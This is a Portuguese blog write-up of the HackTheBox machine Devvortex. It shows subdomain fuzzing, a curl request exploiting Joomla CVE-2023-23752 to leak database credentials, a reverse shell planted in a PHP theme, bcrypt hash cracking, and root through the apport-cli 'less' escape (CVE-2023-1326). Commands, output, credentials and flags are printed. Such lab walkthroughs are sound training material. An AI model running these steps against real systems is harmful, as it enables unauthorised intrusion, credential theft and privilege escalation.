HackTheBox - Writeup Devvortex [Retired]
Guilherme Martins
Posted on April 27, 2024
Hackthebox
Neste writeup iremos explorar uma máquina do hackthebox linux de leve easy chamada Devvortex. A máquina aborda as seguintes vulnerabilidades e técnicas:
- Enumeração de subdominios
- Análise e exploração de vulnerabilidade na CMS Joomla (CVE-XXX)
- Crackeando senhas
- Privilege Escalation CVE-2023-1326
Enumeração e user flag
Iremos iniciar realizando uma varredura no host alvo a procura de portas abertas, para isso vamos utilizar o nmap:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# nmap -sV --open -Pn 10.129.56.108
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-25 14:06 EST
Nmap scan report for 10.129.56.108
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.38 seconds
Podemos notar que existem duas portas abertas, a 22 referente ao ssh e a porta 80 que esta rodando um nginx que é um servidor web e proxy reverso.
Acessando o IP pela porta navegador somos redirecionados para http://devvortex.htb, vamos adicionar em nosso /etc/hosts para conseguirmos o acesso ao mesmo.
Uma vez adicionado temos a seguinte página web:
No entanto, não encontramos nenhum vetor de exploração inicialmente. Vamos continuar o recon realizando uma enumeração de subdomínios. Para isso vamos utilizr o wfuzz que é um fuzzing.
O comando abaixo ira utilizar uma wordlist para buscar por subdomínios, removendo do retorno os status code 404 e 302:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/devvortex]
└─# wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.devvortex.htb" --hc 404,302 --hw 356 -t 100 10.129.54.142
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.54.142/
Total requests: 207630
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000797: 200 501 L 1581 W 23221 Ch "dev"
Total time: 588.6878
Processed Requests: 207630
Filtered Requests: 207629
Requests/sec.: 352.6996
Com isso descobrimos um novo subdomínio chamado dev.devvortex.htb.
Precisamos adicionar em nosso /etc/hosts para conseguir o acesso via navegador.
E ao acessar o novo subdomínio temos o seguinte conteúdo:
O mesmo parece ser similar ao domínio principal. A fim de buscar mais informações iremos realizar uma enumeração de diretórios e endpoints utilizando desta vez o gobuster:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/devvortex]
└─# gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://dev.devvortex.htb/ -k
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.devvortex.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/11/28 08:29:01 Starting gobuster in directory enumeration mode
===============================================================
/.bashrc (Status: 403) [Size: 162]
/.cvs (Status: 403) [Size: 162]
/.bash_history (Status: 403) [Size: 162]
/.cvsignore (Status: 403) [Size: 162]
/.forward (Status: 403) [Size: 162]
/.history (Status: 403) [Size: 162]
/.htaccess (Status: 403) [Size: 162]
/.htpasswd (Status: 403) [Size: 162]
/.listing (Status: 403) [Size: 162]
/.perf (Status: 403) [Size: 162]
/.ssh (Status: 403) [Size: 162]
/.passwd (Status: 403) [Size: 162]
/.rhosts (Status: 403) [Size: 162]
/.profile (Status: 403) [Size: 162]
/.subversion (Status: 403) [Size: 162]
/.svn (Status: 403) [Size: 162]
/.web (Status: 403) [Size: 162]
/administrator (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/administrator/]
/api (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/api/]
/cache (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/cache/]
/cli (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/cli/]
/components (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/components/]
/home (Status: 200) [Size: 23221]
/images (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/images/]
/includes (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/includes/]
/language (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/language/]
/layouts (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/layouts/]
/libraries (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/libraries/]
/media (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/media/]
/modules (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/modules/]
/plugins (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/plugins/]
/robots.txt (Status: 200) [Size: 764]
/templates (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/templates/]
/tmp (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/tmp/]
Progress: 20469 / 20470 (100.00%)
===============================================================
2023/11/28 08:42:21 Finished
===============================================================
Através do retorno do gobuster podemos visualizar diversos endpoints interessantes, incluindo um administrativo: http://dev.devvortex.htb/administrator.
Ao acessarmos este endpoint temos a seguinte página de login:
Se trata de uma CMS chamada Joomla, comumente utilizada para criação de ecommerces.
Caso a instalação seja padrão, sem adição de uma segurança a mais o joomla por padrão possui diversos endpoints que expoem dados sensíveis, como podemos notar nos seguintes arquivos:
Versão do Joomla: http://dev.devvortex.htb/plugins/system/cache/cache.xml
Informações internas: http://dev.devvortex.htb/administrator/manifests/files/joomla.xml
Existe um robots.txt exibindo endpoints interessantes: http://dev.devvortex.htb/robots.txt
- robots:txt:
User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/
Buscando por vulnerabilidades conhecidas encontramos a CVE-2023-23752. Esta CVE se trata um information leak por conta de um bypass na autenticação, onde é esta exposto dados do usuário do banco de dados em texto plano:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/devvortex]
└─# curl -s http://dev.devvortex.htb/api/index.php/v1/config/application?public=true | jq .
{
"links": {
"self": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true",
"next": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20",
"last": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
},
"data": [
{
"type": "application",
"id": "224",
"attributes": {
"offline": false,
"id": 224
}
},
{
"type": "application",
"id": "224",
"attributes": {
"offline_message": "This site is down for maintenance.<br>Please check back again soon.",
"id": 224
}
},
...
...
{
"type": "application",
"id": "224",
"attributes": {
"user": "lewis",
"id": 224
}
},
{
"type": "application",
"id": "224",
"attributes": {
"password": "P4ntherg0t1n5r3c0n##",
"id": 224
}
},
Os dados de usuário acima são referentes ao acesso ao banco de dados mysql, mas se tentarmos acessar o painel administrativo com os mesmos dados temos sucesso!
E podemos notar que o usuário lewis possui acesso de administrador:
Com este tipo de acesso conseguimos editar o que desejarmos! Com isso podemos editar arquivos do tema é feito em php para enviar uma shell reversa de forma que consigamos acesso ao servidor alvo!
Vamos editar o tema atual chamado cassiopeia e criar um novo arquivo:
E iremos inserir o seguinte shell reverso, feito em php:
Com o arquivo salvo iremos utilizar o pwncat para ouvir na porta 9001.
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/devvortex]
└─# pwncat-cs -lp 9001
[09:14:01] Welcome to pwncat 🐈! __main__.py:164
E iremos acessar o arquivo run.php que criamos, para executar o mesmo.
Com isso temos o seguinte retorno em nosso pwncat:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/devvortex]
└─# pwncat-cs -lp 9001
[09:14:01] Welcome to pwncat 🐈! __main__.py:164
[09:14:32] received connection from 10.129.54.142:57012 bind.py:84
[09:14:37] 0.0.0.0:9001: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
[09:14:39] 10.129.54.142:57012: registered new host w/ db manager.py:957
(local) pwncat$
(remote) www-data@devvortex:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Conseguimos shell em nosso alvo com o usuário www-data. Este é o usuário que executa a aplicação, o nginx. Precisamos nos mover lateralmente para o usuário que possui a user flag.
Para isso vamos realizar um recon no host alvo.
Dentro as infos que conseguimos recolher podemos notar que existe um mysql rodando na porta 3306 com o acesso local.
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 862/nginx: worker p
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN 862/nginx: worker p
tcp6 0 0 :::22 :::* LISTEN -
Voltando na vulnerabilidade que exploramos no Joomla, os dados de acesso que conseguimos correspondem ao usuário e senha de acesso ao banco.
Vamos dar uma olhada no seu conteúdo
(remote) www-data@devvortex:/tmp$ mysql -u lewis -h 127.0.0.1 -P 3306 -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 22108
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| joomla |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)
Existem três databases, duas padrões do mysql e uma para a CMS Joomla, vamos focar nesta última:
mysql> use joomla;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------------------+
| Tables_in_joomla |
+-------------------------------+
| sd4fg_action_log_config |
| sd4fg_action_logs |
| sd4fg_action_logs_extensions |
| sd4fg_action_logs_users |
| sd4fg_assets |
| sd4fg_associations |
| sd4fg_banner_clients |
| sd4fg_banner_tracks |
| sd4fg_banners |
| sd4fg_categories |
| sd4fg_contact_details |
| sd4fg_content |
| sd4fg_content_frontpage |
| sd4fg_content_rating |
| sd4fg_content_types |
| sd4fg_contentitem_tag_map |
| sd4fg_extensions |
| sd4fg_fields |
| sd4fg_fields_categories |
| sd4fg_fields_groups |
| sd4fg_fields_values |
| sd4fg_finder_filters |
| sd4fg_finder_links |
| sd4fg_finder_links_terms |
| sd4fg_finder_logging |
| sd4fg_finder_taxonomy |
| sd4fg_finder_taxonomy_map |
| sd4fg_finder_terms |
| sd4fg_finder_terms_common |
| sd4fg_finder_tokens |
| sd4fg_finder_tokens_aggregate |
| sd4fg_finder_types |
| sd4fg_history |
| sd4fg_languages |
| sd4fg_mail_templates |
| sd4fg_menu |
| sd4fg_menu_types |
| sd4fg_messages |
| sd4fg_messages_cfg |
| sd4fg_modules |
| sd4fg_modules_menu |
| sd4fg_newsfeeds |
| sd4fg_overrider |
| sd4fg_postinstall_messages |
| sd4fg_privacy_consents |
| sd4fg_privacy_requests |
| sd4fg_redirect_links |
| sd4fg_scheduler_tasks |
| sd4fg_schemas |
| sd4fg_session |
| sd4fg_tags |
| sd4fg_template_overrides |
| sd4fg_template_styles |
| sd4fg_ucm_base |
| sd4fg_ucm_content |
| sd4fg_update_sites |
| sd4fg_update_sites_extensions |
| sd4fg_updates |
| sd4fg_user_keys |
| sd4fg_user_mfa |
| sd4fg_user_notes |
| sd4fg_user_profiles |
| sd4fg_user_usergroup_map |
| sd4fg_usergroups |
| sd4fg_users |
| sd4fg_viewlevels |
| sd4fg_webauthn_credentials |
| sd4fg_workflow_associations |
| sd4fg_workflow_stages |
| sd4fg_workflow_transitions |
| sd4fg_workflows |
+-------------------------------+
Das diversas tabelas a que nos chama atenção é a sd4fg_users, que guarda as informações sobre os usuários do Joomla, vamos ver seu conteúdo:
mysql> desc sd4fg_users;
+---------------+---------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------------+---------------+------+-----+---------+----------------+
| id | int | NO | PRI | NULL | auto_increment |
| name | varchar(400) | NO | MUL | | |
| username | varchar(150) | NO | UNI | | |
| email | varchar(100) | NO | MUL | | |
| password | varchar(100) | NO | | | |
| block | tinyint | NO | MUL | 0 | |
| sendEmail | tinyint | YES | | 0 | |
| registerDate | datetime | NO | | NULL | |
| lastvisitDate | datetime | YES | | NULL | |
| activation | varchar(100) | NO | | | |
| params | text | NO | | NULL | |
| lastResetTime | datetime | YES | | NULL | |
| resetCount | int | NO | | 0 | |
| otpKey | varchar(1000) | NO | | | |
| otep | varchar(1000) | NO | | | |
| requireReset | tinyint | NO | | 0 | |
| authProvider | varchar(100) | NO | | | |
+---------------+---------------+------+-----+---------+----------------+
17 rows in set (0.00 sec)
mysql> select name,username,password from sd4fg_users;
+------------+----------+--------------------------------------------------------------+
| name | username | password |
+------------+----------+--------------------------------------------------------------+
| lewis | lewis | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |
| logan paul | logan | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
+------------+----------+--------------------------------------------------------------+
Conseguimos visualizar que existem dois usuários, o lewis que utilizamos para acessar o Joomla e o mysql e também o usuário logan.
Este segundo usuário do Joomla também é um usuário com shell em nosso alvo!
Iremos utilizar outra aba do nosso terminal para crackear a senha utilizando o John the Ripper:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/devvortex]
└─# john -w=/usr/share/wordlists/rockyou.txt logan-hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (logan)
1g 0:00:00:11 DONE (2023-11-28 09:49) 0.08347g/s 117.1p/s 117.1c/s 117.1C/s lacoste..harry
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
E conseguimos a senha do usuário logan. Vamos tentar o acesso ssh ao host alvo:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/devvortex]
└─# ssh logan@devvortex.htb
logan@devvortex.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-167-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 28 Nov 2023 02:50:15 PM UTC
System load: 0.0
Usage of /: 65.7% of 4.76GB
Memory usage: 22%
Swap usage: 0%
Processes: 174
Users logged in: 0
IPv4 address for eth0: 10.129.54.142
IPv6 address for eth0: dead:beef::250:56ff:fe96:3343
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Nov 21 10:53:48 2023 from 10.10.14.23
logan@devvortex:~$ ls -a
. .. .bash_history .bash_logout .bashrc .cache .profile user.txt
Conseguimos o acesso! E o usuário possível a user flag:
logan@devvortex:~$ cat user.txt
806aa0e222b43fbbb78e8ef7207a2bdd
Escalação de privilégios e root flag
Iremos iniciar listando as permissões do usuário logan:
logan@devvortex:~$ sudo -l
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
O usuário possui permissão para executar como root um binário chamado apport-cli. O Apport é uma ferramenta que permite a análise, coleta de informações de crash reports de programas e do sistema.
Buscando por vulnerabilidades encontramos a seguinte CVE-2023-1326 que afeta o apport-cli até a versão 2.26 e se trata de uma escalação de privilégios, que ocorre quando visualizamos o report gerado.
Podemos ver a versão que temos executando o binário /usr/bin/apport-cli.
logan@devvortex:~$ sudo /usr/bin/apport-cli -v
2.20.11
A /CVE-2023-1326 ocorre exatamente no cenário em que estamos, onde a versão é inferior a 2.26.0 e conseguimos executar o apport com permissões de root. A vulnerabilidade ocorre quando visualizamos o report gerado pelo programa em uma janela do terminal que não exibe o conteúdo completo, neste caso o report utiliza o less, que é utilizado para ler arquivos extensos no linux, um formato de "página", onde é possível se mover pelo conteúdo.
Acontece que o less permite que sejam executados comandos, e como estamos como root...
Possui a seguinte POC.
Que podemos reproduzir em nosso cenário da seguinte forma:
logan@devvortex:~$ sudo /usr/bin/apport-cli -f /tmp/test.txt pid
*** What kind of problem do you want to report?
Choices:
1: Display (X.org)
2: External or internal storage devices (e. g. USB sticks)
3: Security related problems
4: Sound/audio related problems
5: dist-upgrade
6: installation
7: installer
8: release-upgrade
9: ubuntu-release-upgrader
10: Other problem
C: Cancel
Please choose (1/2/3/4/5/6/7/8/9/10/C): 1
*** Collecting problem information
The collected information can be sent to the developers to improve the
application. This might take a few minutes.
*** What display problem do you observe?
Choices:
1: I don't know
2: Freezes or hangs during boot or usage
3: Crashes or restarts back to login screen
4: Resolution is incorrect
5: Shows screen corruption
6: Performance is worse than expected
7: Fonts are the wrong size
8: Other display-related problem
C: Cancel
Please choose (1/2/3/4/5/6/7/8/C): 7
.
.dpkg-query: no packages found matching xorg
............
*** Send problem report to the developers?
After the problem report has been sent, please fill out the form in the
automatically opened web browser.
What would you like to do? Your options are:
S: Send report (1.5 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C):
What would you like to do? Your options are:
S: Send report (1.5 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C): V
Nesta parte será exibido o report utilizando o less, aqui inserimos o seguinte paylaod:
!sh
E assim ganhamos shell como root!
# id
uid=0(root) gid=0(root) groups=0(root)
E assim conseguimos ler a root flag:
# ls -a /root
. .. .bash_history .bashrc .cleanup .profile root.txt .ssh
# cat /root/root.txt
b47da4fe68c66140a07b853748d02abf
Finalizando assim a máquina Devvortex.
Posted on April 27, 2024
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.